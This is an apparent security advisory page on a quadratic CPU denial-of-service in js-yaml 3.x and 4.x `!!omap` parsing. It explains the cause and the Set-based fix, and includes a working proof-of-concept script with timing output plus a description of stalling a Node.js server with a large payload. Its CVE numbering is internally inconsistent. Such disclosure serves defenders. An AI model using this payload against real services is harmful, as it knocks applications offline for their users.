js-yaml, Quadratic CPU Consumption, CVE-2026-59870 (Medium) -DC-Aug2026-1460

Listen to this Post

The `resolveYamlOmap()` function in js-yaml enforces key uniqueness for `!!omap` sequences using a linear scan with `objectKeys.indexOf(pairKey)` inside the per-element loop. This causes resolution to be O(n²) in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU time inside yaml.load(), leading to a denial of service against any application that parses untrusted YAML.
The `!!omap` type is registered in the default schema (lib/schema/default.jsrequire('../type/omap')), so a plain `yaml.load(untrustedInput)` with no options is affected — no custom schema or non‑default configuration is required.
This is the same weakness as CVE‑2026‑59870 / GHSA‑724g‑mxrg‑4qvm, which was fixed in the 5.x line starting from version 5.2.1. However, that fix was never backported to the 3.x and 4.x lines. Both currently maintained legacy versions still carry the original vulnerable implementation.

In `lib/type/omap.js` (js‑yaml 4.3.0), the code does:

if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false

`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` performs a linear scan. Resolving an n‑entry `!!omap` thus performs roughly 1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously inside yaml.load(), blocking the Node.js event loop for its entire duration.
The 5.x line already solves this by tracking seen keys in a `Set` (src/tag/sequence/omap.ts):

if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)

A proof of concept demonstrates the quadratic growth: with js‑yaml 4.3.0, an 80,000‑entry document (≈1.26 MB) takes 2.6 seconds to load; a 150,000‑entry document (2.48 MB) blocks `yaml.load()` for 10.8 seconds. Runtime grows by a factor of ~4 for each doubling of n, confirming O(n²) behaviour.
Any service that parses attacker‑influenced YAML with js‑yaml 3.x or 4.x can be stalled with a relatively small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the same process — so the amplification is per‑process, not just per‑request.
The suggested severity is consistent with CVE‑2026‑59870: Availability‑only impact, network attack vector, no privileges or user interaction required.

DailyCVE Form:

Platform: Node.js
Version: 3.x, 4.x
Vulnerability: Quadratic CPU DoS
Severity: Medium
date: 2026-08-07

Prediction: 2026-08-21

What Undercode Say:

Proof of Concept – save as poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => <code>- k${i}: ${i}</code>).join('\n') + '\n';
for (const n of [10000, 20000, 40000, 80000]) {
const d = doc(n), t = Date.now();
yaml.load(d);
console.log(<code>n=${n} bytes=${d.length} load=${Date.now() - t}ms</code>);
}
Run with Node.js (tested on v20.20.2)
node poc.js
Expected output for js-yaml 4.3.0:
n=10000 bytes=137787 load=54ms
n=20000 bytes=297787 load=169ms
n=40000 bytes=617787 load=646ms
n=80000 bytes=1257787 load=2607ms

Exploit:

An attacker sends a YAML payload containing a large `!!omap` sequence with unique keys. The server parses it using `yaml.load()` under the default schema. The quadratic scan inside `resolveYamlOmap()` consumes CPU proportionally to n², blocking the event loop. With a 2.48 MB document (150,000 entries), the load stalls for ~10.8 seconds, effectively denying service to all other requests on the same Node.js process.

Protection:

Upgrade to js‑yaml 5.2.1 or later, where the fix using a `Set` has been applied. If upgrading is not immediately possible, backport the fix manually by replacing the `indexOf` linear scan with a `Set` in lib/type/omap.js:

const seen = new Set();
// ...
if (seen.has(pairKey)) return false;
seen.add(pairKey);

Alternatively, implement a maximum entry limit for `!!omap` sequences (e.g., maxOmapLength) to cap input size, though this requires adding a new option.

Impact:

Denial of service via CPU exhaustion. A single malicious request can consume 100% CPU for seconds to tens of seconds, blocking the Node.js event loop and degrading or halting all other requests handled by the same process. The attack requires no authentication, no special privileges, and works against any application that uses the default YAML schema with untrusted input.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top